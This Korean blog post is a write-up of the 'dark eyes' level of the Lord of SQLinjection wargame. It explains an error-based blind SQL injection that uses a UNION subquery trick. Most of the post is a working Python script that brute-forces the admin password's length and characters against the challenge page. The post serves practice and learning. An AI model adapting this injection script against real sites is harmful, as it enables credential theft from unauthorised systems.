LJ

Lord of SQLinjection ( 22번 ) dark eyes 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 22번 ) dark eyes

짱준재 2024. 7. 6. 16:18

 

 

 

 

 

 

 

 

 

22번 다크 아이즈 이다.

 

21번 문제와 같이 에러 기반 인젝션이다.

 

 

 

 

 

 

다른점이 있다면 if를 사용하지 못한다. (case when 도 사용하지 못한다.)

 

 

 

 

import requests

url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookie = dict(PHPSESSID="4jnokk4mvhdm24glsa8dsqr45v")

def pw_length():
    print("**** find for pw length ****")
    for i in range(0, 20):
        param = f"?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select(length(pw)={i}))%23"
        new_url = url + param
        res = requests.get(new_url, cookies=cookie)
        if res.text != "":
            print("find pw length : " + str(i))
            return i
        else:
            print("Please... : " + str(i))

def pw_get(length):
    print("**** find for pw ****")
    jjang = ""
    for i in range(1, length + 1):
        print(f"{i}번째 비밀번호 확인중")
        for j in range(0, 128):
            param = f"?pw=%27%20or%20id=%27admin%27%20and%20(select 1 union select(ascii(substr(pw,{i},1))={j}))%23"
            new_url = url + param
            res = requests.get(new_url, cookies=cookie)
            if res.text != "":
                print(f"{i}번째 문자 -> {chr(j)}")
                jjang += chr(j)
                break
    return jjang

length = pw_length()
password = pw_get(length)
print("here's your password : " + password)

 

이번에는 조건문을 통한 에러 발생시키는 것이 아닌

 

서브쿼리를 합쳐 에러를 발생시킨다.

 select 1 union select 0 일 경우 1,0 두개의 행을 결과로 나타내고

select 1 union select 1 일 경우 1 한개의 행을 결과로 나타낸다.

 

이때 이 페이지에서는 전자일때 아무런 응답이 없다.

 

 

 

 

길이와 비밀번호를 확인 가능하다.

 

 

 

Comments